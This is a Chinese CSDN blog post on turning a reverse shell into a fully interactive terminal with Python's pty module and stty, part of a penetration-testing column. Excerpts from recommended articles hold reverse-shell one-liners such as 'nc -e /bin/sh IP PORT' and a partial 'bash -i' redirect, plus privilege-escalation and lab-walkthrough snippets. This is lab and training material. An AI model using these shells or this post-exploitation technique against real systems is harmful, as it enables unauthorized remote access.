python3 -c ‘import pty；pty.spawn(“/bin/bash“)‘升级切换交互式shell

最新推荐文章于 2022-12-23 10:12:48 发布
最新推荐文章于 2022-12-23 10:12:48 发布
阅读量3.8k 收藏 1
点赞数 1
分类专栏： 各种渗透 文章标签： bash 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/x_sweelg/article/details/123184332
版权
这篇博客探讨了如何在Python中使用pty模块来启动一个交互式的bash shell，并通过stty命令修改终端设置。文章详细介绍了如何利用Ctrl+Z挂起进程，调整终端属性如行数和列数，以及恢复终端设置的步骤。对于理解pty和stty在系统管理和脚本编程中的作用很有帮助。
摘要由CSDN通过智能技术生成

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl+Z

stty -a

stty raw -echo;fg

reset

stty rows 29 columns 94

row和columns数据为stty -a后的数据

Sweelg
关注
专栏目录
靶机Bulldog练习：通过python脚本远程连接弹出shell进行提权
7Riven's blog
12-09 896
1.主机发现 方法一：netdiscover命令 netdiscover -i eth0 -r 192.168.109.0/24 主动，不扫描本机IP地址 netdiscover -p 被动，不容易被发现，只能扫到有交互的 -i 指定网卡 -r 指定网段 方法二：nmap命...
「BASH」:谈谈如何获取完全交互式终端
binaxin的博客
09-30 989
写在前面，本方法适用于在反弹shell后把shell提升为完全交互式shell，也是自己实战了一段时间后摸索出来的，记一下笔记； 完美的交互式shell python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z stty raw -echo fg reset export SHELL=bash //$ export TERM=xterm-256color 同样的，我在网上也找到另外一种方式：script /dev/null/这样：同理，也可以通过同样的.
sudo命令中python提权
qq_40898302的博客
05-10 4313
python的提权
Python：import 与__import__()
09-19 2424
首先来说一下两者的区别： 　　import指令做了两件事：1）搜索module，2）绑定到局部变量 　　内置函数__import__()只做了一件事：搜索module 　　import指令执行过程中是调用__import__()来完成Module检索的。 搜索module的过程： 在了解搜索的过程前，先来了解一下内部实现中的几个角色： a）已经搜索...
python3 import运用心得总结
Mark_Lewis的博客
05-30 724
这是我通过对同csdn的另一位博主讲解这个板块的博客研究和自行实验后，自己的心得在我看来，导入方式的分类可分为绝对导入和相对导入(相对于当前import语句所在文件的目录)绝对导入：    import A.B    from A import B相对导入：    from . import B    (从当前目录)    from ..A import B  (相对于A目录的上上层目录，单个'....
通过stty将shell升级为完全交互式shell
Zlirving_的博客
09-23 1250
当我们反弹回了一个shell连接，以及通过id命令查看到一个令人满意的用户权限。但凡事总有意外，由于我们获取的shell并不是一个具有完整交互的shell，因此可能会在使用过程中被挂起，甚至还可能会因为我们的操作失误，例如不小心摁下了 “Ctrl-C”键，这将直接终止我们的整个shell进程。 做个小实验 攻击机：kali （10.92.0.73） 靶机：ubuntu （10.92.0.74）   简单shell 首先给kali反弹个普通shell Ubuntu: bash -i >&amp
升级tty shell （pyhotn）
冬萍子癸水
06-21 1392
渗透测试中，linux拿到的低权限shell，也就是老外说的initial foothold （shell）（能进入靶机或实战服务器了。。）。常常有很多限制。这种shell很容易不小心因按键给中断挂了，如果执行什么卡住了，你一按ctrl+c就直接挂完了，丢了。 如果按tab键，也不能自动补齐。。。等等，总之不是好shell 升级成tty 一般都是安装了Python的 操作如下： 中途会表面上断掉，以及你看不见你输入啥东西，没影响。 python -c 'import pty; pty.spawn("/bi
bulldog1——爆破、命令执行、pty提权
KUKULI233的博客
06-25 520
1.收集信息 netdiscover，是一个二层工具，原理是数据包产生交互即判定主机存活 netdiscover -i eth0 -r 192.168.249.0/24 靶机： 端口扫描 Masscan --rate=100000 -p 0-65535 192.168.249.137 (判断出目标是137) –rate发包数 –ports指定端口数 查看端口服务 Nmap -T4 -sV -O -p 8080,80,23 192.168.249.137 -sV服务版本 -T4速度(最高为5，推荐用4)
/etc/init.d/sshd配置SSHD路径忘记修改导致启动失败
weixin_34010949的博客
01-14 6866
[root@lnlte2dmr3 ~]# bash[root@lnlte2dmr3 ~]# install -v -m700 -d /var/empty/sshdinstall: 正在创建目录"/var/empty/sshd"[root@lnlte2dmr3 ~]# 等待输入超时：自动登出[root@lnlte2dmr3 ~]# bash[root@l...
红队笔记专属-shell备忘录
Gamma_lab的博客
04-02 4299
前言： ​ 建议直接复制粘贴到笔记，或点赞收藏，因为时常会用到，这是整理的一些常见的反向shell和特权提升的笔记文档，红队成员必会！ 最全。 反向shell-备忘录： ​ 通常在获得远程代码执行之后，我们希望获得一些交互式访问—而不是发出单个命令获取单个回显或与 web shell 交互，从实战的意义来讲，反弹shell是非常有必要的，以下将从不同的工具出发， nc listen: nc -nlvp PORT connect: nc -e /bin/sh IP PORT or nc -c sh I
linux各种一句话反弹shell总结
mingyqf的博客
01-18 1292
【技术分享】linux各种一句话反弹shell总结 阅读量 1355554 | 评论 2 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jT8KDx3o-1642484911491)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhX
14. CTF综合靶机渗透(七)
weixin_30279315的博客
06-22 694
靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战。 VM虚机配置有静态IP地址（192.168.0.150） 目标 Boot to root：获得root权限，查看flag。 运行环境 靶机：静态IP是192.168.0.150。 攻击机：同网段下有kali攻击机（物理机），IP地址：192.168.0.128，安装有Nmap、Burp...
DC靶机1-9
qq_60905276的博客
01-22 4751
1.DC1 首先我们不知道靶机的ip地址，我们通过
Python 输出库的版本
桃子小迷妹
12-23 767
Python 输出库的版本
python跳转回上条命令_实现交互式shell的几种方式
weixin_29029673的博客
01-30 2107
文章最后更新时间为：2019年06月12日 00:56:19当我们拿到一个webshell的时候，我们能够执行一些命令，但是这些命令都是非交互的，也就是说不存在上下文的概念。当我们想使用vim、top等命令时，webshell就无能为力了。那我们怎么获取一个可交互的webshell呢？1. python pty 方式一般我们都会使用nc来接收反弹来的shell，只需要在目标上(以linux为例)执...
Five86-1 渗透测试
Darklord.W
07-26 396
一、信息收集 扫描目标主机机器开放端口 ​ nmap扫描开放端口详细服务 ​ 扫描两个端口下的web目录，80端口有内容，10000端口下没有其他目录出现 ​ 访问web目录，首先是80端口下的目录 /reports目录需要用户名密码验证 ​ robots.txt目录下 ​ 访问/ona目录，发现是一个web系统，浏览相关信息得到80端口index页面可能需要添加一条解析记录才可以访问 ​ 尝试添加记录并访问 ​ 结果还是不行 ​ 但是的话，可以...
实战Linux下三种不同方式的提权技巧
fly小灰灰的专栏
03-17 1万+
介绍在渗透测试或者漏洞评估的过程中，提权是非常重要的一步，在这一步，黑客和安全研究人员常常通过exploit,bug,错误配置来提升权限。本文的例子都是在虚拟机里测试的，不同的虚拟机可以从Vulnhub下载。实验一：利用Linux内核漏洞提权VulnOS version 2是VulHub上的一个Linux提权练习，当打开虚拟机后，可以看到 获取到低权限SHELL后我们通常做下面几件事1.检测操作系
常用的一句话反弹shell总结
橘子女侠
05-20 1万+
目录 常用的一句话反弹shell总结 1. bash直接反弹 2. python一句话反弹shell 3. python脚本反弹shell 4. php一句话反弹shell 5. php脚本反弹shell 6. 使用nc命令获取靶机的反弹shell； 7. 使用Kali自带的脚本文件获取反弹shell 8. 使用msfvenom 获取一句话反弹shell 常用的一句话反弹she...
UnicodeEncodeError: 'gbk' codec can't encode character '\xa0' in position ... 问题解决办法之一
热门推荐
qq_38008452的博客
05-23 3万+
使用Python写文件的时候，或者将网络数据流写入到本地文件的时候，大部分情况下会遇到：UnicodeEncodeError: ‘gbk’ codec can’t encode character ‘\xa0’ in position … 这个问题。 网络上有很多类似的文件讲述如何解决这个问题，但是无非就是encode，d...
socat -d -d pty,link=/tmp/mtty1,rawer,b9600,echo=0
最新发布
06-10
这是一个使用 socat 命令创建虚拟串口的命令。它的含义如下： - "-d -d" 表示启用调试模式，socat 会输出更详细的信息。 - "pty" 表示创建一个虚拟的伪终端设备。 - "link=/tmp/mtty1" 表示将创建的虚拟串口链接到 "/tmp/mtty1" 文件，即将这个文件作为虚拟串口的设备文件。 - "rawer" 表示以原始模式打开虚拟串口，即不对数据进行处理。 - "b9600" 表示设置波特率为 9600。 - "echo=0" 表示关闭虚拟串口的回显功能。 这个命令的作用是创建一个虚拟串口，并将其链接到 "/tmp/mtty1" 文件，可以通过读写这个文件来进行串口通信。这在一些需要模拟串口通信的场景下非常有用。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sweelg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值